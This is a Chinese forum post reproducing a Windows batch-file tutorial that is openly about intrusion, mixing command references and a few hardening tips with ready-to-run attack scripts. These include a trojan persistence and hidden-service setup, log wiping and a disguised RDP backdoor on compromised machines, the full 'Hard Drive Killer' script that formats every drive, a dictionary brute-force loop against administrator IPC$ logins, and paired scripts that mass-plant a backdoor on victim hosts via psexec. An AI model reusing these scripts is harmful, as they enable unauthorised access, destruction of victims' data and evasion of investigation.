时下DLL木马盛行,我们知道system32是个捉迷藏的好地方,许多木马都削尖了脑袋往那里钻,DLL马也不例外,针对这一点我们可以在安装好系统和必要的应用程序后,对该目录下的EXE和DLL文件作一个记录: 运行CMD--转换目录到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt, 这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中, 日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了. 这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行: CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好,如果有的话也不要直接DEL掉,先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到回收站里,若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。 3.& 、<& & 将一个句柄的输出写入到另一个句柄的输入中。 >Sample.reg @echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]>Sample.reg @echo "Invader"="Ex4rch">>Sample.reg @echo "door"=5>>C:\WINNT\system32\door.exe>>Sample.reg @echo "Autodos"=dword:02>>Sample.reg samlpe2: 我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe) @start windrv32.exe @attrib +h +r windrv32.exe @echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] >>patch.dll @echo "windsnx "=- >>patch.dll @sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:winntsystem32windrv32.exe @regedit /s patch.dll @delete patch.dll @REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动] @REM 这样不是更安全^_^. 六、精彩实例放送 1.删除win2k/xp系统默认共享的批处理 ------------------------ cut here then save as .bat or .cmd file --------------------------- @echo preparing to delete all the default shares.when ready pres any key. @pause @echo off :Rem check parameters if null show usage. if {%1}=={} goto :Usage :Rem code start. echo. echo ------------------------------------------------------ echo. echo Now deleting all the default shares. echo. net share %1$ /delete net share %2$ /delete net share %3$ /delete net share %4$ /delete net share %5$ /delete net share %6$ /delete net share %7$ /delete net share %8$ /delete net share %9$ /delete net stop Server net start Server echo. echo All the shares have been deleteed echo. echo ------------------------------------------------------ echo. echo Now modify the registry to change the system default properties. echo. echo Now creating the registry file echo Windows Registry Editor Version 5.00> c:delshare.reg echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters]>> c:delshare.reg echo "AutoShareWks"=dword:00000000>> c:delshare.reg echo "AutoShareServer"=dword:00000000>> c:delshare.reg echo Nowing using the registry file to chang the system default properties. regedit /s c:delshare.reg echo Deleting the temprotarily files. del c:delshare.reg goto :END :Usage echo. echo ------------------------------------------------------ echo. echo ☆ A example for batch file ☆ echo ☆ [Use batch file to change the sysytem share properties.] ☆ echo. echo Author:Ex4rch echo Mail:Ex4rch@hotmail.com QQ:1672602 echo. echo Error:Not enough parameters echo. echo ☆ Please enter the share disk you wanna delete ☆ echo. echo For instance,to delete the default shares: echo delshare c d e ipc admin print echo. echo If the disklable is not as C: D: E: ,Please chang it youself. echo. echo example: echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into : echo delshare c d e x y z ipc admin print echo. echo *** you can delete nine shares once in a useing *** echo. echo ------------------------------------------------------ goto :EOF :END echo. echo ------------------------------------------------------ echo. echo OK,delshare.bat has deleted all the share you assigned. echo.Any questions ,feel free to mail to Ex4rch@hotmail.com. echo echo. echo ------------------------------------------------------ echo. :EOF echo end of the batch file ------------------------ cut here then save as .bat or .cmd file --------------------------- .全面加固系统(给肉鸡打补丁)的批处理文件 ------------------------ cut here then save as .bat or .cmd file --------------------------- @echo Windows Registry Editor Version 5.00 >patch.dll @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters] >>patch.dll @echo "AutoShareServer"=dword:00000000 >>patch.dll @echo "AutoShareWks"=dword:00000000 >>patch.dll @REM [禁止共享] @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa] >>patch.dll @echo "restrictanonymous"=dword:00000001 >>patch.dll @REM [禁止匿名登录] @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNetBTParameters] >>patch.dll @echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll @REM [禁止及文件访问和打印共享] @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices@REMoteRegistry] >>patch.dll @echo "Start"=dword:00000004 >>patch.dll @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSchedule] >>patch.dll @echo "Start"=dword:00000004 >>patch.dll @echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon] >>patch.dll @echo "ShutdownWithoutLogon"="0" >>patch.dll @REM [禁止登录前关机] @echo "DontDisplayLastUserName"="1" >>patch.dll @REM [禁止显示前一个登录用户名称] @regedit /s patch.dll ------------------------ cut here then save as .bat or .cmd file --------------------------- 下面命令是清除肉鸡所有日志,禁止一些危险的服务,并修改肉鸡的terminnal service留跳后路。 @regedit /s patch.dll @net stop w3svc @net stop event log @del c:winntsystem32logfilesw3svc1*.* /f /q @del c:winntsystem32logfilesw3svc2*.* /f /q @del c:winntsystem32config*.event /f /q @del c:winntsystem32dtclog*.* /f /q @del c:winnt*.txt /f /q @del c:winnt*.log /f /q @net start w3svc @net start event log @rem [删除日志] @net stop lanmanserver /y @net stop Schedule /y @net stop RemoteRegistry /y @del patch.dll @echo The server has been patched,Have fun. @del patch.bat @REM [禁止一些危险的服务。] @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp] >>patch.dll @echo "PortNumber"=dword:00002010 >>patch.dll @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp >>patch.dll @echo "PortNumber"=dword:00002012 >>patch.dll @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermDD] >>patch.dll @echo "Start"=dword:00000002 >>patch.dll @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSecuService] >>patch.dll @echo "Start"=dword:00000002 >>patch.dll @echo "ErrorControl"=dword:00000001 >>patch.dll @echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00, >>patch.dll @echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65, >>patch.dll @echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll @echo "ObjectName"="LocalSystem" >>patch.dll @echo "Type"=dword:00000010 >>patch.dll @echo "Description"="Keep record of the program and windows' message。" >>patch.dll @echo "DisplayName"="Microsoft EventLog" >>patch.dll @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicestermservice] >>patch.dll @echo "Start"=dword:00000004 >>patch.dll @copy c:winntsystem32termsrv.exe c:winntsystem32eventlog.exe @REM [修改3389连接,端口为8210(十六进制为00002012),名称为Microsoft EventLog,留条后路] 3.Hard Drive Killer Pro Version 4.0(玩批处理到这个水平真的不容易了。) ------------------------ cut here then save as .bat or .cmd file --------------------------- @echo off rem This program is dedecated to a very special person that does not want to be named. :start cls echo PLEASE WAIT WHILE PROGRAM LOADS . . . call attrib -r -h c:autoexec.bat >nul echo @echo off >c:autoexec.bat echo call format c: /q /u /autoSample >nul >>c:autoexec.bat call attrib +r +h c:autoexec.bat >nul rem Drive checking and assigning the valid drives to the drive variable. set drive= set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z rem code insertion for Drive Checking takes place here. rem drivechk.bat is the file name under the root directory. rem As far as the drive detection and drive variable settings, don't worry about how it rem works, it's d*amn to complicated for the average or even the expert batch programmer. rem Except for Tom Lavedas. echo @echo off >drivechk.bat echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat %comspec% /e:2048 /c {t}.bat >>drivechk.bat del {t}.bat echo if errorlevel 1 goto enddc >>drivechk.bat cls echo PLEASE WAIT WHILE PROGRAM LOADS . . . rem When errorlevel is 1, then the above is not true, if 0, then it's true. rem Opposite of binary rules. If 0, it will elaps to the next command. echo @prompt %%%%comspec%%%% /f /c dir %%%%1:./ad/w/-p $b find "bytes" > nul >{t}.bat %comspec% /e:2048 /c {t}.bat >>drivechk.bat del {t}.bat echo if errorlevel 1 goto enddc >>drivechk.bat cls echo PLEASE WAIT WHILE PROGRAM LOADS . . . rem if errorlevel is 1, then the drive specified is a removable media drive - not ready. rem if errorlevel is 0, then it will elaps to the next command. echo @prompt dir %%%%1:./ad/w/-p $b find " 0 bytes free" > nul >{t}.bat %comspec% /e:2048 /c {t}.bat >>drivechk.bat del {t}.bat echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat cls echo PLEASE WAIT WHILE PROGRAM LOADS . . . rem if it's errorlevel 1, then the specified drive is a hard or floppy drive. rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive. echo :enddc >>drivechk.bat rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING". rem Now we will use the program drivechk.bat to attain valid drive information. :Sampledrv for %%a in (%alldrive%) do call drivechk.bat %%a >nul del drivechk.bat >nul if %drive.==. set drive=c :form_del call attrib -r -h c:autoexec.bat >nul echo @echo off >c:autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:autoexec.bat echo cls >>c:autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat echo for %%%%a in (%drive%) do call c:temp.bat %%%%a Bunga >nul >>c:autoexec.bat echo cls >>c:autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat echo for %%%%a in (%drive%) call deltree /y %%%%a: >nul >>c:autoexec.bat echo cls >>c:autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers >>c:autoexec.bat echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:autoexec.bat echo cls >>c:autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat echo for %%%%a in (%drive%) do call c:temp.bat %%%%a Bunga >nul >>c:autoexec.bat echo cls >>c:autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat echo for %%%%a in (%drive%) call deltree /y %%%%a: >nul >>c:autoexec.bat echo cd >>c:autoexec.bat echo cls >>c:autoexec.bat echo echo Welcome to the land of death. Munga Bunga's Multiple Hard Drive Killer version 4.0. >>c:autoexec.bat echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:autoexec.bat echo echo 1. To make people aware that security should not be taken for granted. >>c:autoexec.bat echo echo 2. Love is important, if you have it, truly, don't let go of it like I did! >>c:autoexec.bat echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I'm glad your HD is dead. >>c:autoexec.bat echo echo 4. Don't support the following: War, Racism, Drugs and the Liberal Party.>>c:autoexec.bat echo echo. >>c:autoexec.bat echo echo Regards, >>c:autoexec.bat echo echo. >>c:autoexec.bat echo echo Munga Bunga >>c:autoexec.bat call attrib +r +h c:autoexec.bat :makedir if exist c:temp.bat attrib -r -h c:temp.bat >nul echo @echo off >c:temp.bat echo %%1: >>c:temp.bat echo cd >>c:temp.bat echo :startmd >>c:temp.bat echo for %%%%a in ("if not exist %%2nul md %%2" "if exist %%2nul cd %%2") do %%%%a >>c:temp.bat echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:temp.bat echo if not exist %%1:%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2nul goto startmd >>c:temp.bat call attrib +r +h c:temp.bat >nul cls echo Initializing Variables . . . rem deltree /y %%a:*. only eliminates directories, hence leaving the file created above for further destruction. for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul cls echo Initializing Variables . . . echo Validating Data . . . for %%a in (%drive%) do call c:temp.bat %%a Munga >nul cls echo Initializing Variables . . . echo Validating Data . . . echo Analyzing System Structure . . . for %%a in (%drive%) call attrib -r -h %%a: /S >nul call attrib +r +h c:temp.bat >nul call attrib +r +h c:autoexec.bat >nul cls echo Initializing Variables . . . echo Validating Data . . . echo Analyzing System Structure . . . echo Initializing Application . . . for %%a in (%drive%) call deltree /y %%a:*. >nul cls echo Initializing Variables . . . echo Validating Data . . . echo Analyzing System Structure . . . echo Initializing Application . . . echo Starting Application . . . for %%a in (%drive%) do call c:temp.bat %%a Munga >nul cls echo Thank you for using a Munga Bunga product. echo. echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius. echo. echo Here is a joke for you . . . echo. echo Q). What's the worst thing about being an egg? echo A). You only get laid once. echo. echo HAHAHAHA, get it? Don't you just love that one? echo. echo Regards, echo. echo Munga Bunga :end rem Hard Drive Killer Pro Version 4.0, enjoy!!!! rem Author: Munga Bunga - from Australia, the land full of retarded Australian's (help me get out of here) 全文完毕, 简明批处理教程(上)2009-05-30 15:53 前言 最近对于批处理技术的探讨比较热,也有不少好的批处理程序发布,但是如果没有一定的相关知识恐怕不容易看懂和理解这些批处理文件,也就更谈不上自己动手编写了,古语云:“授人以鱼,不如授人以渔。”因为网上好像并没有一个比较完整的教材,所以抽一点时间写了这片<>给新手朋友们.也献给所有为实现网络的自由与共享而努力的朋友们. 批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用,例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。 一.简单批处理内部命令简介 1.Echo 命令 打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。 语法 echo [{on|off}] [message] Sample:@echo off / echo hello world 在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。 2.@ 命令 表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。 Sample:@echo off @echo Now initializing the program,please wait a minite... @format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。) 3.Goto 命令 指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。 语法:goto label (label是参数,指定所要转向的批处理程序中的行。) Sample: if {%1}=={} goto noparms if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。) @Rem check parameters if null show usage :noparms echo Usage: monitor.bat ServerIP PortNumber goto end 标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。 4.Rem 命令 注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。 Rem Message Sample:@Rem Here is the description. 5.Pause 命令 运行 Pause 命令时,将显示下面的消息: Press any key to continue . . . Sample: @echo off :begin copy a:*.* d:\back echo Please put a new disk into driver A pause goto begin 在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。 6.Call 命令 从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。 语法 call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]] 参数 [Drive:}[Path] FileName 指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。 7.start 命令 调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。 入侵常用参数: MIN 开始时窗口最小化 SEPARATE 在分开的空间内开始 16 位 Windows 程序 HIGH 在 HIGH 优先级类别开始应用程序 REALTIME 在 REALTIME 优先级类别开始应用程序 WAIT 启动应用程序并等候它结束 parameters 这些为传送到命令/程序的参数 执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。 8.choice 命令 choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234…… 如: choice /c:dme defrag,mem,end 将显示 defrag,mem,end[D,M,E]? Sample: Sample.bat的内容如下: @echo off choice /c:dme defrag,mem,end if errorlevel 3 goto defrag (应先判断数值最高的错误码) if errorlevel 2 goto mem if errotlevel 1 goto end :defrag c:\dos\defrag goto end :mem mem goto end :end echo good bye 此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。 9.If 命令 if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式: 1、if "参数" == "字符串"  待执行的命令 参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号) 如if "%1"=="a" format a: if {%1}=={} goto noparms if {%2}=={} goto noparms 2、if exist 文件名  待执行的命令 如果有指定的文件,则条件成立,运行命令,否则运行下一句。 如if exist config.sys edit config.sys 3、if errorlevel / if not errorlevel 数字  待执行的命令 如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。 如if errorlevel 2 goto x2   DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。 10.for 命令 for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。 在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable for {%variable|%%variable} in (set) do command [ CommandLineOptions] %variable 指定一个单一字母可替换的参数。 (set) 指定一个或一组文件。可以使用通配符。 command 指定对每个文件执行的命令。 command-parameters 为特定命令指定参数或命令行开关。 在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable 而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I 如果命令扩展名被启用,下列额外的 FOR 命令格式会受到 支持: FOR /D %variable IN (set) DO command [command-parameters] 如果集中包含通配符,则指定与目录名匹配,而不与文件 名匹配。 FOR /R [[drive:]path] %variable IN (set) DO command [command- 检查以 [drive:]path 为根的目录树,指向每个目录中的 FOR 语句。如果在 /R 后没有指定目录,则使用当前 目录。如果集仅为一个单点(.)字符,则枚举该目录树。 FOR /L %variable IN (start,step,end) DO command [command-para 该集表示以增量形式从开始到结束的一个数字序列。 因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生 序列 (5 4 3 2 1)。 FOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN (command) DO command 或者,如果有 usebackq 选项: FOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN (command) DO command filenameset 为一个或多个文件名。继续到 filenameset 中的 下一个文件之前,每份文件都已被打开、读取并经过处理。 处理包括读取文件,将其分成一行行的文字,然后将每行 解析成零或更多的符号。然后用已找到的符号字符串变量值 调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开 的第一个空白符号。跳过空白行。您可通过指定可选 "options" 参数替代默认解析操作。这个带引号的字符串包括一个或多个 指定不同解析选项的关键字。这些关键字为: eol=c - 指一个行注释字符的结尾(就一个) skip=n - 指在文件开始时忽略的行数。 delims=xxx - 指分隔符集。这个替换了空格和跳格键的 默认分隔符集。 tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代 的 for 本身。这会导致额外变量名称的 格式为一个范围。通过 nth 符号指定 m 符号字符串中的最后一个字符星号, 那么额外的变量将在最后一个符号解析之 分配并接受行的保留文本。 usebackq - 指定新语法已在下类情况中使用: 在作为命令执行一个后引号的字符串并且 引号字符为文字字符串命令并允许在 fi 中使用双引号扩起文件名称。 sample1: FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command 会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将 每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或 空格定界符号。请注意,这个 for 程序体的语句引用 %i 来 取得第二个符号,引用 %j 来取得第三个符号,引用 %k 来取得第三个符号后的所有剩余符号。对于带有空格的文件 名,您需要用双引号将文件名括起来。为了用这种方式来使 用双引号,您还需要使用 usebackq 选项,否则,双引号会 被理解成是用作定义某个要分析的字符串的。 %i 专门在 for 语句中得到说明,%j 和 %k 是通过 tokens= 选项专门得到说明的。您可以通过 tokens= 一行 指定最多 26 个符号,只要不试图说明一个高于字母 z 或 Z 的变量。请记住,FOR 变量是单一字母、分大小写和全局的; 同时不能有 52 个以上都在使用中。 您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是, 用单引号将括号之间的 filenameset 括起来。这样,该字符 串会被当作一个文件中的一个单一输入行。 最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将 括号之间的 filenameset 变成一个反括字符串。该字符串会 被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进 内存,并被当作文件分析。因此,以下例子: FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i 会枚举当前环境中的环境变量名称。 另外,FOR 变量参照的替换已被增强。您现在可以使用下列 选项语法: ~I - 删除任何引号("),扩充 %I %~fI - 将 %I 扩充到一个完全合格的路径名 %~dI - 仅将 %I 扩充到一个驱动器号 %~pI - 仅将 %I 扩充到一个路径 %~nI - 仅将 %I 扩充到一个文件名 %~xI - 仅将 %I 扩充到一个文件扩展名 %~sI - 扩充的路径只含有短名 %~aI - 将 %I 扩充到文件的文件属性 %~tI - 将 %I 扩充到文件的日期/时间 %~zI - 将 %I 扩充到文件的大小 %~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充 到找到的第一个完全合格的名称。如果环境变量 未被定义,或者没有找到文件,此组合键会扩充 空字符串 可以组合修饰符来得到多重结果: %~dpI - 仅将 %I 扩充到一个驱动器号和路径 %~nxI - 仅将 %I 扩充到一个文件名和扩展名 %~fsI - 仅将 %I 扩充到一个带有短名的完整路径名 %~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充 到找到的第一个驱动器号和路径。 %~ftzaI - 将 %I 扩充到类似输出线路的 DIR 在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法 用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名 比较易读,而且避免与不分大小写的组合键混淆。 以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。 sample2: 利用For命令来实现对一台目标Win2k主机的暴力密码破解。 我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。 最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator" 用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令-- for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,这样就ko了。 sample3: 你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。 主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable) @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。 而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。 delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。 代码雏形: --------------- cut here then save as a batchfile(I call it main.bat ) --------------------------- @echo off @if "%1"=="" goto usage @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k @goto end :usage @echo run this batch in dos modle.or just double-click it. :end --------------- cut here then save as a batchfile(I call it main.bat ) --------------------------- ------------------- cut here then save as a batchfile(I call it door.bat) ----------------------------- @net use \\%1\ipc$ %3 /u:"%2" @if errorlevel 1 goto failed @echo Trying to establish the IPC$ connection …………OK @copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt @psexec \\%1 c:\winnt\system32\windrv32.exe @psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt :failed @echo Sorry can not connected to the victim. ----------------- cut here then save as a batchfile(I call it door.bat) -------------------------------- 这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容 尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究. No.2 二.如何在批处理文件中使用参数 批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。 sample1:fomat.bat @echo off if "%1"=="a" format a: :format @format a:/q/u/auotset @echo please insert another disk to driver A. @pause @goto fomat 这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添足了~^_^ sample2: 当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。 @echo off @net use \\1%\ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数。 @if errorlevel 1 echo connection failed 怎么样,使用参数还是比较简单的吧?你这么帅一定学会了^_^.No.3 三.如何使用组合命令(Compound Command) 1.& Usage:第一条命令 & 第二条命令 [& 第三条命令...] 用这种方法可以同时执行多条命令,而不管命令是否执行成功 Sample: C:\>dir z: & dir c:\Ex4rch The system cannot find the path specified. Volume in drive C has no label. Volume Serial Number is 0078-59FB Directory of c:\Ex4rch 2002-05-14 23:51 . 2002-05-14 23:51 .. 2002-05-14 23:51 14 sometips.gif 2.&& Usage:第一条命令 && 第二条命令 [&& 第三条命令...] 用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令; Sample: C:\>dir z: && dir c:\Ex4rch The system cannot find the path specified. C:\>dir c:\Ex4rch && dir z: Volume in drive C has no label. Volume Serial Number is 0078-59FB Directory of c:\Ex4rch 2002-05-14 23:55 . 2002-05-14 23:55 .. 2002-05-14 23:55 14 sometips.gif 1 File(s) 14 bytes 2 Dir(s) 768,671,744 bytes free The system cannot find the path specified. 在做备份的时候可能会用到这种命令会比较简单,如: dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E:\backup 如果远程服务器上存在backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 :) 3.|| Usage:第一条命令 || 第二条命令 [|| 第三条命令...] 用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令; Sample: C:\Ex4rch>dir sometips.gif || del sometips.gif Volume in drive C has no label. Volume Serial Number is 0078-59FB Directory of C:\Ex4rch 2002-05-14 23:55 14 sometips.gif 1 File(s) 14 bytes 0 Dir(s) 768,696,320 bytes free 组合命令使用的例子: sample: @copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt

19,612

社区成员

发帖
与我相关
我的任务
社区描述
系统使用、管理、维护问题。可以是Ubuntu, Fedora, Unix等等
社区管理员
  • 系统维护与使用区社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧